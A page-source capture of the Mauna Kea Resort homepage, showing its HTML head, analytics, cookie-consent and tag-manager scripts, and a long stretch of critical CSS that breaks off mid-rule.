PageSourceSearch

https://www.maunakearesort.com/

html maunakearesort.com collected 2026-09-28 05:49:59 UTC 223,899 bytes, 5,117 lines download raw bytes

1
2<!DOCTYPE html>
3
4<html class="no-js" lang="en"> 
5    <head profile="http://www.w3.org/2005/10/profile">
6        <meta charset="utf-8" />
7        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
8        <meta name="viewport" content="width=device-width, initial-scale=1">
9        <link rel="icon" type="image/png" href="/images/favicon.png">
10        <link rel="preload" href="/css/fontello/font/fontello.woff2?78671574" as="font" type="font/woff2" crossorigin>
11        
12        <title>Mauna Kea Resort | Big Island Hawaii 5 Star Hotel</title>
13
14<meta property="og:title" content="Mauna Kea Resort | Big Island Hawaii 5 Star Hotel">
15<meta property="og:type" content="website">
16<meta property="og:url" content="https://www.maunakearesort.com/" />
17
18        <meta     name="google-site-verification"   content="nV5WWd20c8fL4fdaH6py4XynmoNpfNYuPp1X6K9PEC8"  />
19        <meta     name="description"   content="Pure luxury nestled in perfect harmony with nature and spirit of the island."  />
20
21        
21<script>
22            var _hdmlog=function(){var n="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16|0,i=n=="x"?t:t&3|8;return i.toString(16)}),t=function(n,t,i){var r=new(this.XMLHttpRequest||ActiveXObject)("MSXML2.XMLHTTP.3.0");return r.open("POST",n,1),r.setRequestHeader("X-Requested-With","XMLHttpRequest"),r.setRequestHeader("MDRest","1"),r.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8"),r.setRequestHeader("Response-type","json"),r.onreadystatechange=function(){r.readyState==4&&(r.status!=200?i(r):t(r))},r};return function(i,r,u,f){var e="",b=document.location.toString(),o,h,c,l,a,v,y,w;if(JSON&&JSON.stringify)e=JSON.stringify(r);else{o="";for(s in r)e=e+o+'"'+s+'":"'+r[s]+'"',o=",";e="{"+e+"}"}u=u||+new Date;h=navigator.language;navigator.languages&&(h=navigator.languages.join(","));c={time:u,name:i,guid:n,details:e,path:b,appVersion:navigator.appVersion,languages:h,platform:navigator.platform,userAgent:navigator.userAgent,vendor:navigator.vendor};l=[];for(p in c)a=encodeURIComponent(p),v=encodeURIComponent(c[p]),l.push(a+"="+v);y=l.join("&");f=f||function(){};try{w=t("/logs/",f,function(){});w.send(y)}catch(k){window.console&&console.log(k)}return u}}(),_hdmq;window.onerror=function(n,t,i,r,u){try{return window.console&&console.log&&console.log("Error: "+n+" Script: "+t+" Line: "+i+" Column: "+r+" StackTrace: "+u),!1}catch(f){}};window.$=function(){var n=[],t=function(t){n.push(t)};return t.attachReady=function(t){return t(function(){t.each(n,function(n,i){i(t)});n.length=0}),t},t}();_hdmq=function(){var n=[],t=!1,i,r;return i=function(){t=!0;for(var i=0;i<n.length;i++)n[i]();n=[]},r=function(i){t?i():n.push(i)},{loadComplete:i,add:r}}()
23            </script>
23
24            
25<script> 
26    var HDMdataLayer = window.HDMdataLayer || [];
27
28    
29</script>
29
30
31
32<script async="async" src="https://static.srcspot.com/libs/jordana.js" type="application/javascript"></script>
32
33
34<script>
35    // Lazy load one trust script to prevent scroll in IOS
36    function loadOtScript() {
37        var s = document.createElement('script');    
38        s.src = 'https://cdn.cookielaw.org/scripttemplates/otSDKStub.js';    
39        s.defer = true;
40        s.type = 'text/javascript';
41        s.charset = 'UTF-8';    
42        s.setAttribute('data-domain-script', 'dddbbd81-9219-49e8-934e-de51c7f0618e');
43        var x = document.querySelector('head');    
44        x.appendChild(s);
45    }
46
47    window.addEventListener('load', function() {
48        setTimeout(function() {
49            try {
50                loadOtScript();
51            } catch (err) {
52                console.log(err);
53            }
54        }, 1000);
55    });
56</script>
56
57
58
59<!-- Google Tag Manager -->
60<script>
61    function OptanonWrapper() {
62        if (window.HDMdataLayer && window.dataLayer) {
63            window.dataLayer.forEach(function (item) {
64                window.HDMdataLayer.push(item);
65            });
66        }
67
68        /* Google Tag Manager */
vendor: 498 bytes, lines 68-76
68
69        (function (w, d, s, l, i) {
70            w[l] = w[l] || []; w[l].push({
71                'gtm.start':
72                    new Date().getTime(), event: 'gtm.js'
73            }); var f = d.getElementsByTagName(s)[0],
74                j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src =
75                    'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f);
76        })(window, document, 'script', 'HDMdataLayer', '
76GTM-TD566NW
vendor: 13 bytes, lines 76-77
76');
77        
77/* End Google Tag Manager */
78    };
79</script>
79
80<!-- End Google Tag Manager -->
81<script src="https://schemagenerator.hooray.agency/js/schema.js" defer data-key="21ad65f7-3cd0-4d42-a57b-bdf7b6791d70"></script>
81
82
83        
83<script>
84            
85        </script>
85
86        
87        
88        <link rel="stylesheet" type="text/css" href="/css/base-unmin/unmin.css">
89        
90        <style>/* Minification failed. Returning unminified contents.
91(2363,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-'
92(2364,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-'
93(2365,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-'
94(2366,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-'
95 */
96/* Critical CSS
97**********************************/
98/* Variables
99**********************************/
100/* all vars, no need for @if critical */
101/* breakpoints */
102/* Animation - see header.scss for usage examples */
103/* Form placeholders */
104/* Usage:
105
106	.foo {
107	  @include placeholder {
108		color: green;
109	  }
110	}
111
112	@include placeholder {
113	  color: red;
114	}
115*/
116/* Flexbox 
117***************************************/
118/* Card */
119/* Filter */
120/* Gridder */
121/* Variables
122**********************************/
123/* all vars, no need for @if critical */
124/* breakpoints */
125/* Animation - see header.scss for usage examples */
126/* Form placeholders */
127/* Usage:
128
129	.foo {
130	  @include placeholder {
131		color: green;
132	  }
133	}
134
135	@include placeholder {
136	  color: red;
137	}
138*/
139/* Flexbox 
140***************************************/
141/* Card */
142/* Filter */
143/* Gridder */
144/* http://meyerweb.com/eric/tools/css/reset/ v2.0 | 20110126 License: none (public domain) */
145html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {
146  margin: 0;
147  padding: 0;
148  border: 0;
149  font-size: 100%;
150  font: inherit;
151  vertical-align: baseline;
152}
153
154article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section {
155  display: block;
156}
157
158body {
159  line-height: 1;
160}
161
162ol, ul {
163  list-style: none;
164}
165
166blockquote, q {
167  quotes: none;
168}
169
170blockquote:before, blockquote:after, q:before, q:after {
171  content: '';
172  content: none;
173}
174
175table {
176  border-collapse: collapse;
177  border-spacing: 0;
178}
179
180/* General global styles 
181***********************************/
182html {
183  font-family: "Nunito Sans", sans-serif;
184  font-size: 16px;
185}
186
187body {
188  color: #56534d;
189}
190
191@media screen and (max-width: 767px) {
192  body {
193    -webkit-text-size-adjust: 100%;
194  }
195}
196
197body.is-admin {
198  padding-top: 40px;
199}
200
201strong {
202  font-weight: bold;
203}
204
205em {
206  font-style: italic;
207}
208
209p {
210  margin: 0 0 1.6em;
211  line-height: 1.6em;
212}
213
214hr {
215  border: none;
216  height: 1px;
217  border-top: 1px solid #999;
218  margin: 2em 0;
219}
220
221sup,
222sub {
223  vertical-align: baseline;
224  position: relative;
225  top: -.1em;
226}
227
228sub {
229  top: .1em;
230}
231
232blockquote {
233  margin: 0 0 1.5em;
234  border-left: 2px solid #ccc;
235  padding-left: 1em;
236}
237
238blockquote p {
239  line-height: 1.5em;
240  margin-bottom: .5em;
241}
242
243cite {
244  font-style: italic;
245  letter-spacing: .05em;
246}
247
248/* headers */
249h1, h2, h3, h4, h5, h6 {
250  line-height: 1.1em;
251}
252
253h1,
254.h1 {
255  font-family: "Lora", serif;
256  font-size: 2.5rem;
257  font-weight: 400;
258}
259
260@media screen and (max-width: 767px) {
261  h1,
262.h1 {
263    font-size: 2rem;
264  }
265}
266
267h1 em,
268.h1 em {
269  display: block;
270  font-family: "Kristabelle", cursive;
271  font-size: 2.5rem;
272  line-height: normal;
273  color: #ff671f;
274}
275
276@media screen and (max-width: 767px) {
277  h1 em,
278.h1 em {
279    font-size: 2rem;
280  }
281}
282
283h2,
284.h2 {
285  font-family: "Lora", serif;
286  font-size: 5rem;
287  margin-bottom: .5em;
288  font-weight: 400;
289}
290
291@media screen and (max-width: 767px) {
292  h2,
293.h2 {
294    font-size: 2.625rem;
295  }
296}
297
298h2 em,
299.h2 em {
300  display: block;
301  font-family: "Kristabelle", cursive;
302  font-size: 3.25rem;
303  color: #ff671f;
304  line-height: normal;
305}
306
307@media screen and (max-width: 767px) {
308  h2 em,
309.h2 em {
310    font-size: 2rem;
311  }
312}
313
314h2.med,
315.h2.med {
316  font-size: 2.5rem;
317}
318
319@media screen and (max-width: 767px) {
320  h2.med,
321.h2.med {
322    font-size: 1.5rem;
323  }
324}
325
326h2.med em,
327.h2.med em {
328  font-size: 3.813rem;
329}
330
331@media screen and (max-width: 767px) {
332  h2.med em,
333.h2.med em {
334    font-size: 2rem;
335  }
336}
337
338h3,
339.h3 {
340  font-family: "Lora", serif;
341  font-size: 1.875rem;
342  font-weight: 400;
343  margin-bottom: .5em;
344  line-height: 1.15em;
345  letter-spacing: .025em;
346}
347
348@media screen and (max-width: 767px) {
349  h3,
350.h3 {
351    font-size: 1.5rem;
352  }
353}
354
355h4,
356.h4 {
357  font-family: "Nunito Sans", sans-serif;
358  font-size: 1.125rem;
359  font-weight: 600;
360  text-transform: uppercase;
361  margin-bottom: .4em;
362  line-height: 1.3em;
363  letter-spacing: .05em;
364}
365
366h5,
367.h5 {
368  font-size: 1em;
369  margin-bottom: .2em;
370  font-weight: 700;
371}
372
373h6,
374.h6 {
375  font-size: 1em;
376  color: #333;
377}
378
379/* links */
380a {
381  -webkit-transition: color 0.4s;
382  -moz-transition: color 0.4s;
383  -ms-transition: color 0.4s;
384  transition: color 0.4s;
385  text-decoration: none;
386  color: #ff671f;
387  transition: background-color .35s, color .35s;
388  /*
389	&[href^="tel:"]{
390		font-weight: 700;
391	}*/
392}
393
394a:hover {
395  color: #000;
396}
397
398/* Lists */
399ul, ol {
400  line-height: 1.5em;
401  margin: 0 0 1.5em 2.2em;
402}
403
404ul {
405  list-style-type: disc;
406}
407
408ul ul {
409  list-style-type: circle;
410}
411
412ol {
413  list-style-type: decimal;
414}
415
416dl {
417  line-height: 1.5em;
418  margin: 0;
419}
420
421dl dt {
422  display: block;
423  margin: 0;
424}
425
426dl dd {
427  margin: 0 0 1.5em;
428}
429
430/* page layout */
431main {
432  display: block;
433}
434
435.main-content {
436  position: relative;
437  z-index: 2;
438  max-width: 2560px;
439  margin: 0 auto;
440  min-height: 300px;
441}
442
443/* 
444	Slick Slider overrides - check the 
445	buttons sass file for prev/next buttons
446********************************************/
447.slick-list,
448.slick-track {
449  height: 100%;
450}
451
452/* Datepicker overrides */
453#ui-datepicker-div .ui-state-highlight,
454#ui-datepicker-div .ui-widget-content .ui-state-highlight,
455#ui-datepicker-div .ui-widget-header .ui-state-highlight {
456  background: #ccc;
457  color: #fff;
458}
459
460#ui-datepicker-div .ui-state-active,
461#ui-datepicker-div .ui-widget-content .ui-state-active,
462#ui-datepicker-div .ui-widget-header .ui-state-active {
463  background: #ff671f;
464  color: #fff;
465  border-color: #ff671f;
466}
467
468#ui-datepicker-div.ui-datepicker {
469  z-index: 999999999999999999999 !important;
470}
471
472.embedded-messaging > .embeddedMessagingFrame[class~="isMinimized"],
473.embeddedMessagingConversationButtonWrapper .embeddedMessagingConversationButton {
474  bottom: 7rem !important;
475  right: 1rem !important;
476}
477
478.embedded-messaging > .embeddedMessagingFrame[class~="isMaximized"] {
479  z-index: 9999999990;
480}
481
482#ae_launcher.ae-cta-position-preset-right-lower {
483  bottom: 190px !important;
484}
485
486@media screen and (max-width: 767px) {
487  #ae_launcher.ae-cta-position-preset-right-lower {
488    bottom: 24px !important;
489  }
490}
491
492/* Variables
493**********************************/
494/* all vars, no need for @if critical */
495/* breakpoints */
496/* Animation - see header.scss for usage examples */
497/* Form placeholders */
498/* Usage:
499
500	.foo {
501	  @include placeholder {
502		color: green;
503	  }
504	}
505
506	@include placeholder {
507	  color: red;
508	}
509*/
510/* Flexbox 
511***************************************/
512/* Card */
513/* Filter */
514/* Gridder */
515/*
516	Print style sheet: print.css
517*/
518/* Variables
519**********************************/
520/* all vars, no need for @if critical */
521/* breakpoints */
522/* Animation - see header.scss for usage examples */
523/* Form placeholders */
524/* Usage:
525
526	.foo {
527	  @include placeholder {
528		color: green;
529	  }
530	}
531
532	@include placeholder {
533	  color: red;
534	}
535*/
536/* Flexbox 
537***************************************/
538/* Card */
539/* Filter */
540/* Gridder */
541.preload-image {
542  background: #fff url(/images/loading.gif) no-repeat center center !important;
543  background-size: initial !important;
544}
545
546.has-loader::before {
547  content: '';
548  pointer-events: none;
549  position: absolute;
550  top: 50%;
551  left: 50%;
552  width: 30px;
553  height: 30px;
554  background-image: url(/images/layout/loader.png);
555  background-position: center;
556  background-size: contain;
557  background-repeat: no-repeat;
558  transform: translate(-50%, -50%);
559  animation: loader 4s infinite linear;
560}
561
562@keyframes loader {
563  0% {
564    transform: rotate(0);
565  }
566  100% {
567    transform: rotate(360deg);
568  }
569}
570
571/* Object fit images */
572.object-fit {
573  display: block;
574  object-fit: cover;
575  object-position: 50% 50%;
576  width: 100%;
577  height: 100%;
578}
579
580.object-fit-top {
581  object-position: 50% 20%;
582}
583
584.object-fit-bottom {
585  object-position: 50% 80%;
586}
587
588@media screen and (max-width: 767px) {
589  .object-fit-bottom {
590    object-position: 50% 90%;
591  }
592}
593
594.object-fit-right {
595  object-position: 80% 50%;
596}
597
598@media screen and (max-width: 767px) {
599  .object-fit-right {
600    object-position: 90% 50%;
601  }
602}
603
604.object-fit-left {
605  object-position: 20% 50%;
606}
607
608.object-fit-contain {
609  object-fit: contain;
610}
611
612.object-fit-right-top {
613  object-position: 80% 20%;
614}
615
616@media screen and (max-width: 767px) {
617  .object-fit-right-top {
618    object-position: 90% 10%;
619  }
620}
621
622.object-fit-left-top {
623  object-position: 20% 20%;
624}
625
626@media screen and (max-width: 767px) {
627  .object-fit-left-top {
628    object-position: 10% 10%;
629  }
630}
631
632/* clearfix */
633.cf:after {
634  content: '';
635  display: table;
636  clear: both;
637}
638
639@supports (display: flow-root) {
640  .cf {
641    display: flow-root;
642  }
643  .cf:after {
644    content: none;
645  }
646}
647
648.clear-left {
649  clear: left;
650}
651
652.main-pad {
653  padding: 3em 0;
654}
655
656.nobr {
657  white-space: nowrap;
658}
659
660.align-center {
661  text-align: center;
662}
663
664.align-right {
665  text-align: right;
666}
667
668.normal {
669  text-transform: none;
670}
671
672.brand-color {
673  color: #ff671f;
674}
675
676.westin-color {
677  color: #529d6e;
678}
679
680@media screen and (max-width: 767px) {
681  .mobile-break {
682    display: block;
683  }
684}
685
686/* image replacement */
687.ir {
688  text-indent: 200%;
689  white-space: nowrap;
690  overflow: hidden;
691}
692
693.break-word {
694  overflow-wrap: break-word;
695  word-wrap: break-word;
696  /*		
697	-ms-word-break: break-all;
698   -moz-word-break: break-all;	
699        word-break: break-all;	
700	*/
701  /* non standard for webkit */
702  word-break: break-word;
703  -webkit-hyphens: auto;
704  -moz-hyphens: auto;
705  -ms-hyphens: auto;
706  hyphens: auto;
707}
708
709/* headers */
710.pre-hdr {
711  color: #ff671f;
712  font-size: .75rem;
713  font-weight: 600;
714  letter-spacing: .05em;
715  text-transform: uppercase;
716  line-height: 1.4em;
717  margin-bottom: .75em;
718}
719
720/*
721.hyphens { 
722	@include hyphens();
723}
724*/
725.intro {
726  margin-bottom: 3em;
727  padding-top: 1em;
728}
729
730@media screen and (max-width: 767px) {
731  .intro {
732    margin-bottom: 0;
733    padding-top: 0;
734  }
735}
736
737.intro .hgroup {
738  box-sizing: border-box;
739  position: relative;
740  z-index: 2;
741  float: left;
742  width: 50%;
743  margin-bottom: 2em;
744  padding-right: 1em;
745}
746
747@media screen and (max-width: 767px) {
748  .intro .hgroup {
749    float: none;
750    width: auto;
751    margin-bottom: 1em;
752    padding-right: 0;
753  }
754}
755
756.intro h1 em {
757  display: inline;
758}
759
760.intro .cta {
761  text-transform: uppercase;
762  font-size: .75rem;
763  margin-top: 4.5em;
764}
765
766@media screen and (max-width: 767px) {
767  .intro .cta {
768    margin-top: 1.5em;
769  }
770}
771
772.intro .cta a {
773  color: currentColor;
774}
775
776.intro .cta a:hover {
777  color: #ff671f;
778}
779
780.intro .cta::after {
781  content: ' \2192';
782  font-size: 2em;
783  color: #ff671f;
784}
785
786.intro.stacked .hgroup {
787  float: none;
788  width: auto;
789  padding-right: 0;
790}
791
792.has-caption::after {
793  background: linear-gradient(to top, rgba(0, 0, 0, 0.95) 0%, rgba(0, 0, 0, 0) 100%);
794  bottom: 0;
795  content: '';
796  height: 50%;
797  left: 0;
798  position: absolute;
799  width: 100%;
800  /*z-index: 2;*/
801  pointer-events: none;
802}
803
804.has-caption.lighter::after {
805  background: linear-gradient(to top, rgba(0, 0, 0, 0.7) 0%, rgba(0, 0, 0, 0) 100%);
806  height: 40%;
807}
808
809.has-caption.has-caption-top::after {
810  background: linear-gradient(rgba(0, 0, 0, 0.4) 0%, rgba(0, 0, 0, 0) 100%);
811  bottom: auto;
812  top: 0;
813  height: 90%;
814}
815
816/* caption gradient bg */
817.caption-grad {
818  position: relative;
819}
820
821.caption-grad::after {
822  content: '';
823  pointer-events: none;
824  background: linear-gradient(to top, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0) 100%);
825  bottom: 0;
826  height: 110px;
827  left: 0;
828  position: absolute;
829  width: 100%;
830  /*z-index: 2;*/
831}
832
833.has-arrow::after {
834  content: ' \2192';
835  font-size: 2em;
836}
837
838.disclaimer {
839  font-size: .85em;
840  font-style: italic;
841}
842
843.inline-left {
844  display: block;
845  float: left;
846  margin: 0 30px 20px 0;
847}
848
849.inline-left img {
850  max-width: 100%;
851  height: auto;
852}
853
854@media screen and (max-width: 767px) {
855  .inline-left {
856    float: none;
857    margin: 0 auto 12px;
858  }
859}
860
861img.inline-left {
862  max-width: 100%;
863  height: auto;
864}
865
866.inline-right {
867  display: block;
868  float: right;
869  margin: 0 0 20px 30px;
870}
871
872.inline-right img {
873  max-width: 100%;
874  height: auto;
875}
876
877@media screen and (max-width: 767px) {
878  .inline-right {
879    float: none;
880    margin: 0 auto 12px;
881  }
882}
883
884img.inline-right {
885  max-width: 100%;
886  height: auto;
887}
888
889.ada-hidden {
890  position: absolute;
891  left: -10000px;
892  top: auto;
893  width: 1px;
894  height: 1px;
895  overflow: hidden;
896}
897
898.sr-only {
899  position: absolute;
900  width: 1px;
901  height: 1px;
902  padding: 0;
903  margin: -1px;
904  overflow: hidden;
905  clip: rect(0, 0, 0, 0);
906  border: 0;
907}
908
909/* vertically center */
910.vcenter {
911  -webkit-transform: translateY(-50%);
912  -moz-transform: translateY(-50%);
913  -ms-transform: translateY(-50%);
914  transform: translateY(-50%);
915  position: relative;
916  top: 50%;
917}
918
919/* vertically & horizontally center */
920.vhcenter {
921  -webkit-transform: translate(-50%, -50%);
922  -moz-transform: translate(-50%, -50%);
923  -ms-transform: translate(-50%, -50%);
924  transform: translate(-50%, -50%);
925  position: absolute;
926  top: 50%;
927  left: 50%;
928  z-index: 2;
929}
930
931.inner {
932  width: 90%;
933  max-width: 1000px;
934  margin: 0 auto;
935}
936
937.center {
938  text-align: center;
939  margin-left: auto;
940  margin-right: auto;
941}
942
943.centered-list {
944  text-align: center;
945}
946
947/* Lists */
948.unstyled-list {
949  list-style-type: none;
950  margin: 0;
951}
952
953.inside-list {
954  list-style-position: inside;
955}
956
957.bg-cover {
958  background-position: center;
959  background-repeat: no-repeat;
960  background-size: cover;
961}
962
963.bg-cover.top {
964  background-position: center top;
965}
966
967.bg-cover.right {
968  background-position: right center;
969}
970
971.bg-cover.bottom {
972  background-position: center bottom;
973}
974
975.bg-cover.left {
976  background-position: left center;
977}
978
979.bg-cover.left-top {
980  background-position: left top;
981}
982
983.bg-cover.left-bottom {
984  background-position: left bottom;
985}
986
987.bg-cover.right-top {
988  background-position: right top;
989}
990
991.bg-cover.right-bottom {
992  background-position: right bottom;
993}
994
995/* Cover items
996***************************************/
997/*
998.cover-image {  
999	//@include transition(all .5s);   
1000	//@extend .bg-cover;
1001	position: absolute;
1002	width: 100%;
1003	height: 100%;
1004	top: 0;
1005	left: 0;		
1006	margin: 0 auto;
1007	box-sizing: border-box;
1008	pointer-events: none;
1009		
1010	&.top { background-position: center top; }
1011	&.bottom { background-position: center bottom; }
1012				
1013}	
1014*/
1015.cover-link {
1016  position: absolute;
1017  top: 0;
1018  left: 0;
1019  z-index: 11;
1020  width: 100%;
1021  height: 100%;
1022  text-indent: -9999px;
1023  overflow: hidden;
1024}
1025
1026.cover-link a {
1027  display: block;
1028  width: 100%;
1029  height: 100%;
1030}
1031
1032/* Lazy loaded images */
1033.lazy-fade-in {
1034  animation-name: fadeIn;
1035  animation-duration: 1.3s;
1036  animation-timing-function: cubic-bezier(0, 0, 0.4, 1);
1037  animation-fill-mode: forwards;
1038}
1039
1040@keyframes fadeIn {
1041  from {
1042    opacity: 0;
1043  }
1044  to {
1045    opacity: 1;
1046  }
1047}
1048
1049/* Columns 
1050*************************************/
1051.two-col {
1052  -webkit-column-count: 2;
1053  -moz-column-count: 2;
1054  column-count: 2;
1055  -webkit-column-gap: 40px;
1056  -moz-column-gap: 40px;
1057  column-gap: 40px;
1058  margin-bottom: 1.4em;
1059}
1060
1061.two-col .col,
1062.two-col li {
1063  -webkit-column-break-inside: avoid;
1064  page-break-inside: avoid;
1065  break-inside: avoid;
1066}
1067
1068@media screen and (max-width: 480px) {
1069  .two-col {
1070    -webkit-column-count: auto;
1071    -moz-column-count: auto;
1072    column-count: auto;
1073    -webkit-column-gap: normal;
1074    -moz-column-gap: normal;
1075    column-gap: normal;
1076    margin-bottom: 0;
1077  }
1078}
1079
1080/*
1081.three-col { 
1082	@include columns(3, 20px);
1083			  
1084	@media screen and (max-width: 767px){
1085		@include columns(auto, normal);		
1086	}	
1087	
1088	.col,
1089	li { 
1090		-webkit-column-break-inside: avoid;
1091                  page-break-inside: avoid;
1092                       break-inside: avoid;	
1093	}		
1094	
1095}
1096
1097.four-col { 
1098	@include columns(4, 40px);
1099	margin-bottom: 1.4em;
1100	
1101	.col,
1102	li { 
1103		-webkit-column-break-inside: avoid;
1104                  page-break-inside: avoid;
1105                       break-inside: avoid;	
1106	}
1107	
1108	@media screen and (max-width: 480px){
1109		@include columns(auto, normal);
1110		margin-bottom: 0;
1111	}	
1112	
1113}
1114*/
1115@-webkit-keyframes fade-in {
1116  from {
1117    opacity: 0;
1118  }
1119  to {
1120    opacity: 1;
1121  }
1122}
1123
1124@-moz-keyframes fade-in {
1125  from {
1126    opacity: 0;
1127  }
1128  to {
1129    opacity: 1;
1130  }
1131}
1132
1133@-ms-keyframes fade-in {
1134  from {
1135    opacity: 0;
1136  }
1137  to {
1138    opacity: 1;
1139  }
1140}
1141
1142@-o-keyframes fade-in {
1143  from {
1144    opacity: 0;
1145  }
1146  to {
1147    opacity: 1;
1148  }
1149}
1150
1151@keyframes fade-in {
1152  from {
1153    opacity: 0;
1154  }
1155  to {
1156    opacity: 1;
1157  }
1158}
1159
1160/*
1161.icon { 
1162	vertical-align: middle;
1163}*/
1164/* responsive images */
1165.resp-img {
1166  max-width: 100%;
1167  height: auto;
1168}
1169
1170/* standard table */
1171.tbl-std {
1172  border-collapse: collapse;
1173  width: 100%;
1174  margin: 0 auto 1.4em;
1175}
1176
1177.tbl-std thead {
1178  background-color: #333;
1179  color: #fff;
1180  font-weight: 700;
1181}
1182
1183.tbl-std th,
1184.tbl-std td {
1185  padding: 1em;
1186  line-height: 1.4em;
1187}
1188
1189@media screen and (max-width: 480px) {
1190  .tbl-std th,
1191.tbl-std td {
1192    display: block;
1193    padding: 4px 12px;
1194    line-height: normal;
1195  }
1196}
1197
1198.tbl-std th {
1199  text-align: left;
1200  vertical-align: middle;
1201}
1202
1203@media screen and (max-width: 768px) {
1204  .tbl-std th span {
1205    display: block;
1206  }
1207}
1208
1209.tbl-std td {
1210  vertical-align: top;
1211}
1212
1213.tbl-std td[scope="row"] {
1214  font-family: "Lora", serif;
1215  font-weight: 700;
1216  text-transform: uppercase;
1217}
1218
1219.tbl-std tbody tr {
1220  background-color: #e3e3e3;
1221  border-bottom: 1px solid #fff;
1222}
1223
1224.tbl-std tbody tr:nth-child(even) {
1225  background-color: #d2d2d2;
1226}
1227
1228.tbl-std-collapsed {
1229  width: auto;
1230  margin: 0 0 1.4em;
1231}
1232
1233/* flex list */
1234/*
1235.flex-list { 
1236	@include flexbox;
1237	@include flex-wrap(wrap);
1238	list-style-type: none;	
1239	text-align: center;
1240  	margin-left: 0;
1241	
1242	&.pipes {
1243		> li {
1244			& + li {
1245				border-left: 1px solid $brand-color;
1246
1247				@media screen and (max-width: 768px){
1248					border-left: none;
1249				}
1250				
1251				@media screen and (max-width: 767px){
1252					border-top: 1px solid $brand-color;
1253					//margin-top: 20px;
1254					padding-top: 20px;
1255				}				
1256			}
1257			
1258			&:nth-child(2n + 2){
1259				@media screen and (max-width: 768px){
1260					border-left: 1px solid $brand-color;
1261				}
1262				
1263				@media screen and (max-width: 767px){
1264					border-left: none;
1265				}				
1266			}						
1267			
1268		}				
1269		
1270	}
1271	
1272	> li { 
1273		//@include flex(1 0 calc(25% - 10px));
1274		@include flex(1 0 25%);
1275		box-sizing: border-box;
1276		
1277		@media screen and (max-width: 768px){
1278			@include flex(1 0 50%);			
1279			margin-bottom: 30px;
1280		}				
1281		
1282		@media screen and (max-width: 767px){
1283			@include flex(1 0 100%);			
1284		}		
1285		
1286	}
1287	
1288	.lm { 
1289		font-size: 12px;
1290		padding: .8em 1.6em .8em 1.8em; 
1291	}
1292		
1293}
1294*/
1295/* Flex cards */
1296/*
1297.flex-card-set {	
1298	@include flexbox;		
1299	@include flex-wrap(wrap);
1300	max-width: 940px;	
1301	margin: 0 auto;
1302}
1303
1304.flex-card {
1305	@include flexbox;
1306	box-sizing: border-box;	
1307	margin-bottom: 2em;
1308	padding: 0 1em;
1309	width: 33.3333333333%;	
1310	
1311	@media screen and (max-width: 768px){
1312		width: 50%;
1313		padding: 0 0 1em;
1314		max-width: 640px;
1315		margin: 0 auto;
1316	}
1317	
1318	@media screen and (max-width: 767px){
1319		width: 100%;
1320	}
1321}
1322
1323.flex-card-img {
1324	position: relative;
1325	overflow: hidden;
1326	width: 100%;
1327	height: 236px;
1328	margin: 0 auto 2em;
1329}
1330
1331.flex-card-content {
1332	@include flexbox;
1333	@include flex-direction(column);
1334	box-sizing: border-box;	
1335	width: 100%;
1336	max-width: 314px;	
1337	margin: 0 auto;
1338	padding: 0 0 2em;
1339	position: relative;
1340	
1341	.unstyled-list { margin-bottom: 1.8em; }
1342	
1343}
1344
1345.flex-card-inner {
1346	@include flex(1 0 auto);
1347	padding: 0 2em;
1348}
1349*/
1350.flex {
1351  display: -webkit-box;
1352  display: -webkit-flex;
1353  display: -moz-flex;
1354  display: -ms-flexbox;
1355  display: flex;
1356}
1357
1358/*
1359// Flex list
1360.flex-list {
1361	@include flexbox;		
1362	@include flex-wrap(wrap);		
1363	
1364	> li {
1365		@include flexbox;
1366		box-sizing: border-box;  		
1367  		padding: 0.5em;	
1368		width: 50%;
1369		
1370		@media screen and (max-width: 767px){
1371			padding: 0;
1372			width: 100%;
1373		}
1374	}	
1375	
1376}
1377
1378.flex-list-content {
1379	@include flexbox;
1380	@include flex-direction(column);
1381	background-color: #fff;
1382	padding: 1em;
1383	width: 100%;
1384	
1385	.filler { 
1386		@include flex(1 0 auto);
1387	}
1388}
1389*/
1390/* Flex cols */
1391.flex-cols {
1392  display: flex;
1393  flex-wrap: wrap;
1394  width: 100%;
1395  margin-bottom: 3em;
1396}
1397
1398@media screen and (max-width: 767px) {
1399  .flex-cols {
1400    margin-bottom: 2em;
1401  }
1402}
1403
1404.flex-cols .col-1-2 {
1405  width: 50%;
1406}
1407
1408@media screen and (max-width: 767px) {
1409  .flex-cols .col-1-2 {
1410    width: 100%;
1411  }
1412}
1413
1414.flex-cols .col-1-3 {
1415  width: 33.3333333333%;
1416}
1417
1418@media screen and (max-width: 767px) {
1419  .flex-cols .col-1-3 {
1420    width: 100%;
1421  }
1422}
1423
1424.flex-cols .col-2-3 {
1425  width: 66.6666666667%;
1426}
1427
1428@media screen and (max-width: 767px) {
1429  .flex-cols .col-2-3 {
1430    width: 100%;
1431  }
1432}
1433
1434.flex-cols .col-1-4 {
1435  width: 25%;
1436}
1437
1438@media screen and (max-width: 767px) {
1439  .flex-cols .col-1-4 {
1440    width: 100%;
1441  }
1442}
1443
1444.flex-cols .col-3-4 {
1445  width: 75%;
1446}
1447
1448@media screen and (max-width: 767px) {
1449  .flex-cols .col-3-4 {
1450    width: 100%;
1451  }
1452}
1453
1454.flex-cols .col-1-5 {
1455  width: 20%;
1456}
1457
1458@media screen and (max-width: 767px) {
1459  .flex-cols .col-1-5 {
1460    width: 100%;
1461  }
1462}
1463
1464.flex-cols .col-2-5 {
1465  width: 40%;
1466}
1467
1468@media screen and (max-width: 767px) {
1469  .flex-cols .col-2-5 {
1470    width: 100%;
1471  }
1472}
1473
1474.flex-cols .col-3-5 {
